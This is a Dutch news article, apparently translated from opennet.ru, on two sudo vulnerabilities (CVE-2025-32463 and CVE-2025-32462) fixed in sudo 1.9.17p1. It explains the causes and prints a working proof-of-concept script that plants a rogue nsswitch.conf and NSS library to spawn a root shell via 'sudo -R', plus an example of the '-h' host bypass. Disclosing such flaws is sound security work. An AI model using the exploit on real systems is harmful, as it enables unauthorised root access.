Kwetsbaarheden in de sudo-tool, waarmee root-rechten in het systeem kunnen worden verkregen

In het sudo-pakket, dat wordt gebruikt voor het uitvoeren van commando's namens andere gebruikers, is een kwetsbaarheid (CVE-2025-32463) ontdekt die elke niet-bevoorrechte gebruiker in staat stelt code met root-rechten uit te voeren, zelfs als de gebruiker niet in de sudoers-configuratie is genoemd. Distributies die gebruikmaken van het configuratiebestand /etc/nsswitch.conf zijn kwetsbaar, bijvoorbeeld de mogelijkheid om de kwetsbaarheid te exploiteren is aangetoond in Ubuntu 24.04 en Fedora 41.

De kwetsbaarheid blijkt uit de standaardconfiguratie en is bevestigd in versies van sudo van 1.9.14 tot 1.9.17 (mogelijk beĆÆnvloedt het alle versies, beginnend met 1.8.33). Het probleem is verholpen in de sudo 1.9.17p1-update. De status van de nieuwe versie van het pakket of de beschikbaarheid van een patch in distributies kan worden gecontroleerd op de volgende pagina's (als de pagina niet beschikbaar is, betekent dit dat de ontwikkelaars van de distributie nog niet zijn begonnen met het behandelen van het probleem): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo en Arch (1, 2).

Het probleem wordt veroorzaakt doordat bij het gebruik van de optie '-R' ('--chroot') voor het uitvoeren van commando's in een chroot-omgeving met geselecteerde gebruikersrootmap, het bestand /etc/nsswitch.conf werd geladen in de context van de nieuwe rootmap in plaats van de systeempreventarië. Aangezien een gebruiker zijn eigen map kan gebruiken als rootmap voor chroot, kan hij een configuratiebestand nsswitch.conf daarin plaatsen. Door het bestand /etc/nsswitch.conf dat door de NSS (Name Service Switch) subsystem wordt geladen te controleren, kan de gebruiker instellingen toevoegen die leiden tot de aanroep van extra handlers. Dergelijke handlers worden door NSS geladen in de vorm van gedeelde bibliotheken, die ook in de door de gebruiker gecontroleerde map kunnen worden geplaatst. Door zijn eigen bibliotheek in te voegen, kan de gebruiker code met root-rechten uitvoeren, aangezien de verwerking door NSS vóór het afnemen van rechten plaatsvindt.

Voorbeeld van een exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

In versie sudo 1.9.17p1 is ook een andere kwetsbaarheid (CVE-2025-32462) verholpen, die het mogelijk maakt om commando's met root-rechten uit te voeren, maar alleen in sudoers-configuraties waarbij de parameter "host" is ingesteld op een waarde die verschilt van ALL of de huidige hostnaam. De kwetsbaarheid is veroorzaakt door een fout waardoor de optie "-h" ("--host") niet alleen werkte in combinatie met de optie "-l" ("--list") om privileges aan een host te koppelen, maar ook bij het uitvoeren van commando's. Hierdoor kon de gebruiker bij het aanroepen van sudo elke host opgeven en de beperkingen van de sudoers-regels die aan de hostnaam zijn gekoppeld omzeilen.

Voor het uitvoeren van een aanval moet de gebruiker in sudoers worden genoemd. Bijvoorbeeld, als in de instellingen is aangegeven "testuser testhost = ALL", dan kon de gebruiker "testuser" "sudo -h testhost" opgeven en commando's met root-rechten op elke host uitvoeren, niet alleen op host testhost. Configuraties zoals "testuser ALL = ALL" of zonder expliciete regels voor specifieke gebruikers zijn niet kwetsbaar.

Bron: opennet.ru

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers šŸ”„ Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster